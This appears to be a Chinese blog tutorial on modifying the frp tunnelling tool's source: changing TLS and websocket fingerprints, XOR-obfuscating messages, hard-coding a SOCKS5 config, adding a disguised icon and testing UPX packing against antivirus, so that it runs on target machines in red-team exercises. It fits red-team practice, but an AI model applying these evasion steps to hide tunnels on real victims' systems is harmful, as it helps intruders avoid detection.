环境 Platform:Kali Linux
Editor:IEDA(Golang)
Go Version:Go1.16
下载master分支源码,建议通过git clone方式。IEDA打开。https://github.com/fatedier/frp/tree/master
注:以下使用的frp版本0.36.2的源码,其他版理论上也是可以用的。
改改标识 全局查找替换:json:"
,可自行替换为其他字符。
修改默认加密salt cmd/frpc/main.go
、cmd/frps/main.go
1 2 3 4 5 6 func main () { crypto.DefaultSalt = "sc.frp" rand.Seed(time.Now().UnixNano()) sub.Execute() }
修改tls协议默认特征 pkg/util/net/tls.go
不好截图,直接上代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package netimport ( "crypto/tls" "fmt" "net" "time" gnet "github.com/fatedier/golib/net" )var ( FRPTLSHeadByte = 0x10 )func WrapTLSClientConn (c net.Conn, tlsConfig *tls.Config) (out net.Conn) { c.Write([]byte {byte (FRPTLSHeadByte), byte (0x61 ), byte (0x62 )}) out = tls.Client(c, tlsConfig) return }func CheckAndEnableTLSServerConnWithTimeout (c net.Conn, tlsConfig *tls.Config, tlsOnly bool , timeout time.Duration) (out net.Conn, err error ) { sc, r := gnet.NewSharedConnSize(c, 4 ) buf := make ([]byte , 3 ) var n int c.SetReadDeadline(time.Now().Add(timeout)) n, err = r.Read(buf) c.SetReadDeadline(time.Time{}) if err != nil { return } if n == 3 && int (buf[0 ]) == FRPTLSHeadByte { out = tls.Server(c, tlsConfig) } else { if tlsOnly { err = fmt.Errorf("non-TLS connection received on a TlsOnly server" ) return } out = sc } return }
修改websocket连接特征 这一步可忽略,就当前来说websocket不常用。
pkg/util/net/websocket.go
19行:
1 2 3 const ( FrpWebsocketPath = "/login/?src=pcw_home&destUrl=https://www.360.cn" )
WSS加域前置? 改了编译不出来,全是报错?暂时放弃。
修改读写逻辑,异或混淆字符 pkg/msg/ctl.go
注:感觉原文 https://www.notion.so/FRP-d3673da19ec74a8781c020bbea883fa2
这部分的代码没给全,编译后的frp使用有问题,连接不了… 后面还是得用原来的,不做修改。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 package msgimport ( "io" "reflect" jsonMsg "github.com/fatedier/golib/msg/json" )type Message = jsonMsg.Messagevar ( msgCtl *jsonMsg.MsgCtl xor = byte (0xaa ) typeMap = make (map [byte ]reflect.Type) maxMsgLength int64 = 10240 )func bytesXor (buffer []byte ) { for i, v := range buffer { buffer[i] = v ^ xor } }func readMsg (c io.Reader) (typeByte byte , buffer []byte , err error ) { buffer = make ([]byte , 1 ) _, err = c.Read(buffer) if err != nil { return } typeByte = buffer[0 ] ^ xor if _, ok := typeMap[typeByte]; !ok { return } var _ int64 buffer = make ([]byte , 8 ) c.Read(buffer) bytesXor(buffer) return }func init () { msgCtl = jsonMsg.NewMsgCtl() for typeByte, msg := range msgTypeMap { msgCtl.RegisterMsg(typeByte, msg) } }func ReadMsg (c io.Reader) (msg Message, err error ) { typeByte, buffer, err := readMsg(c) if err != nil { return } return msgCtl.UnPack(typeByte, buffer) }func ReadMsgInto (c io.Reader, msg Message) (err error ) { _, buffer, err := readMsg(c) if err != nil { return } return msgCtl.UnPackInto(buffer, msg) }func WriteMsg (c io.Writer, msg interface {}) (err error ) { buffer, err := msgCtl.Pack(msg) if err != nil { return } bytesXor(buffer) if _, err = c.Write(buffer); err != nil { return } return nil }
编译打包 只编译当前平台frp:
1 2 3 4 rm -rf ./release/packagesmkdir -p ./release/packages go build -ldflags "-s -w" -o ./release/frpc ./cmd/frpc go build -ldflags "-s -w" -o ./release/frps ./cmd/frps
交叉编译常用平台,以下只编译Win、Mac、Linux x86和x64。
package.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 makeif [ $? -ne 0 ]; then echo "make error" exit 1fi frp_version=`./bin/frps --version`echo "build version: $frp_version " make -f ./Makefile.cross-compilesrm -rf ./release/packagesmkdir -p ./release/packages os_all='linux windows darwin' arch_all='386 amd64' cd ./releasefor os in $os_all ; do for arch in $arch_all ; do frp_dir_name="frp_${frp_version} _${os} _${arch} " frp_path="./packages/frp_${frp_version} _${os} _${arch} " if [ "x${os} " = x"windows" ]; then if [ ! -f "./frpc_${os} _${arch} .exe" ]; then continue fi if [ ! -f "./frps_${os} _${arch} .exe" ]; then continue fi mkdir ${frp_path} mv ./frpc_${os} _${arch} .exe ${frp_path} /frpc.exe mv ./frps_${os} _${arch} .exe ${frp_path} /frps.exe else if [ ! -f "./frpc_${os} _${arch} " ]; then continue fi if [ ! -f "./frps_${os} _${arch} " ]; then continue fi mkdir ${frp_path} mv ./frpc_${os} _${arch} ${frp_path} /frpc mv ./frps_${os} _${arch} ${frp_path} /frps fi cp ../LICENSE ${frp_path} cp -rf ../conf/* ${frp_path} cd ./packages if [ "x${os} " = x"windows" ]; then zip -rq ${frp_dir_name} .zip ${frp_dir_name} else tar -zcf ${frp_dir_name} .tar.gz ${frp_dir_name} fi cd .. rm -rf ${frp_path} done done cd -
后续1:把配置写入源码食用方式 通常情况frp的运行程序要跟连接配置文件 frpc/s.ini
一起传到目标机上运行。在某些情况下,如HVV时,可能会被其他师傅直接反日。 为了防止或者减少被直接"反打",把配置写死在代码中可以在一定程度上避免泄露配置信息。
frpc.ini
1 2 3 4 5 6 7 8 9 10 11 12 13 [common] server_addr = 192.168.176.128 server_port = 6666 token = U2VjZGUwIA0K tls_enable = true [http_proxy]type = tcp remote_port = 23333 plugin = socks5 plugin_user = Secde0 plugin_passwd = Swcde0! use_encryption = true
要修改这几个文件:
1 2 3 4 cmd/frpc/sub/root.go cmd/frpc/sub/status.go cmd/frpc/sub/reload.go
改root.go
在var()中新建个变量保存配置内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 fileContent = ` [common] server_addr = 192.168.176.128 server_port = 6666 token = U2VjZGUwIA0K tls_enable = true [http_proxy] type = tcp remote_port = 23333 plugin = socks5 plugin_user = Secde0 plugin_passwd = Swcde0! use_encryption = true `
改status.go
注释 41-45行,把 fileContent
赋值给iniContent
,注意要转为byte
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 var statusCmd = &cobra.Command{ Use: "status" , Short: "Overview of all proxies status" , RunE: func (cmd *cobra.Command, args []string ) error { iniContent := fileContent clientCfg, err := parseClientCommonCfg(CfgFileTypeIni, []byte (iniContent)) ....... return nil }, }
改reload.go
注释 37-41行,把 fileContent
赋值给iniContent
,注意要转为byte
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 var reloadCmd = &cobra.Command{ Use: "reload" , Short: "Hot-Reload frpc configuration" , RunE: func (cmd *cobra.Command, args []string ) error { iniContent := fileContent clientCfg, err := parseClientCommonCfg(CfgFileTypeIni, []byte (iniContent)) ........ return nil }, }
再回到root.go
文件runClient
方法,注释198行(未改动时应该在184行),然后新增一行:
1 content, err = []byte (fileContent), nil
重新编译,运行:
后续2:通过参数传入食用方法 参照 https://uknowsec.cn/posts/notes/FRP改造计划.html 【frpc.ini的ip通过参数传入】中的步骤进行修改。
注 :需要使用Jack-Kingdom
提供源码进行修改,不能使用官方的,否则无法编译?
Changfrp:https://github.com/Jack-Kingdom/frp/tree/4a5c9a8796701472037c979b467c6a9ea449fd62
定义传参 编辑cmd/frpc/root.go
在 var()
中创建4个变量,然后修改 init()
方法,传参:
1 2 3 rootCmd.PersistentFlags().StringVarP(&ip, "server_addr" , "t" , "" , "server_addr" ) rootCmd.PersistentFlags().StringVarP(&port, "server_port" , "p" , "" , "server_port" ) rootCmd.PersistentFlags().StringVarP(&fport, "remote_port" , "f" , "" , "remote_port" )
创建存放配置信息的方法 编辑:cmd/frpc/sub/root.go
,新增 getFileContent
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 func getFileContent (ip string , port string , fport string ) { var content string = ` [common] server_addr = ` + ip + ` server_port = ` + port + ` tls_enable = true token = Secde0666 [http_proxy] type = tcp remote_port = ` + fport + ` plugin = socks5 ` fileContent = content }
修改runClient
函数,传入参数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 func runClient (cfgFilePath string , ip string , port string , fport string ) (err error ) { var content string getFileContent(ip, port, fport) content, err = fileContent, nil if err != nil { return } cfg, err := parseClientCommonCfg(CfgFileTypeIni, content) if err != nil { return } pxyCfgs, visitorCfgs, err := config.LoadAllConfFromIni(cfg.User, content, cfg.Start) if err != nil { return err } err = startService(cfg, pxyCfgs, visitorCfgs, cfgFilePath) return }
同一文件,100行附近 var rootCmd = &cobra.Command
中调用了runClient()
,需要修改传入参数:
编译打包 package.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 makeif [ $? -ne 0 ]; then echo "make error" exit 1fi frp_version=`./bin/frps --version`echo "build version: $frp_version " make -f ./Makefile.cross-compilesrm -rf ./release/packagesmkdir -p ./release/packages os_all='linux windows darwin freebsd' arch_all='386 amd64 arm arm64 mips64 mips64le mips mipsle' cd ./releasefor os in $os_all ; do for arch in $arch_all ; do frp_dir_name="frp_${frp_version} _${os} _${arch} " frp_path="./packages/frp_${frp_version} _${os} _${arch} " cd .. rm -rf ${frp_path} done done cd -
使用:frpc -t 服务端IP -p 通讯端口 -f 代理使用端口
1 ./frpc -t 192.168.176.128 -p 7777 -f 9999
后续3:加资源/图标混淆? 用 Restorator
加个图标,图标可以用 BeCyIconGrabber
从其他软件提取出来。
提取图标:
打开Restorator
,拖入frp到资源树栏,添加资源,类型选图标,名称任意,拖入图标文件到下图【wps】中。
然后右键软件另存即可。
后续4:UPX压缩减小体积? @Secde0大佬说:别压缩了,有些文件超过10m反而直接放行了,小的被拦截概率大
。我不信,上upx压缩后,用010Editor,删除一下头部标识:upx全部填充为0:
eemm,压缩后确实加大查杀率了…
1为不压缩、5为upx压缩、4为压缩+改标识
试验 就不捉流量看指纹了,直接测试修改后是否正常可用。
linu to Linux
Windows to Linux
Reference
https://www.anquanke.com/post/id/231685
https://www.notion.so/FRP-d3673da19ec74a8781c020bbea883fa2
https://www.cnblogs.com/cwkiller/p/14108589.html
https://uknowsec.cn/posts/notes/FRP改造计划.html
https://github.com/fatedier/frp/pull/1919/files
https://uknowsec.cn/posts/notes/FRP改造计划续.html